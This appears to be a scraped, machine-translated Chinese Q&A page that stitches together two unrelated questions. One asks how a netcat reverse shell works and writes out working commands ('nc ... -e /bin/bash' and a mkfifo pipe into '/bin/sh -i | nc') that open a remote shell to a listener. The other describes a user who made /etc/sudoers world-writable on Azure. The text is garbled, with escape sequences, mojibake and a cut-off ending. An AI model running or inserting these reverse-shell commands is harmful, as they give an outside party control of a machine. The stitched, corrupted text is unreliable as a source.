有一种简单的方法可以连接两个系统并使用nc命令获取 shell,如下所示。
机器A监听
nc -nlvp 4444
Run Code Online (Sandbox Code Playgroud)
机器B连接
nc 192.168.4.4 4444 -e /bin/bash
Run Code Online (Sandbox Code Playgroud)
但是,-e选项不再存在,手册页建议按照以下方式执行命令
机器A监听
nc -nlvp 4444
Run Code Online (Sandbox Code Playgroud)
机器B连接
rm /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.4.4 4444 > /tmp/f
Run Code Online (Sandbox Code Playgroud)
我确实知道(命名管道)背后的概念mkfifo
以及重定向和管道的工作原理。但这仍然让我困惑。
虽然这个问题有很多答案,但这里的场景有所不同:
\n\nI\xe2\x80\x99m 在 Azure 上使用 Ubuntu 18.04。
\n\n我错误地将sudoers
文件设为全局可写 ( sudo chmod o+w /etc/sudoers
)。有一个适当的方法来修复。\n为此,我需要一个 Ubuntu 用户\xe2\x80\x99s 密码
输出:-
\n\nubuntu@azurevm:~$ ls -la /etc/sudoers\n-r--r---w- 1 root root 755 Jan 18 2018 /etc/sudoers\nubuntu@azurevm:~$ \nubuntu@azurevm-VM:~$ \nubuntu@azurevm:~$ \nubuntu@azurevm:~$ pkexec chmod 0755 /etc/sudoers\n==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===\nAuthentication is needed to run `/bin/chmod\' as the super user\nAuthenticating as: Ubuntu (ubuntu)\nPassword: \npolkit-agent-helper-1: pam_authenticate failed: Authentication failure\n==== AUTHENTICATION FAILED ===\nError executing command as another user: Not authorized\n\nThis incident has been reported.\nubuntu@azurevm:~$ …
Run Code Online (Sandbox Code Playgroud) azure ×1
bash ×1
cloud ×1
command-line ×1
netcat ×1
networking ×1
password ×1
permissions ×1
pipe ×1
sudo ×1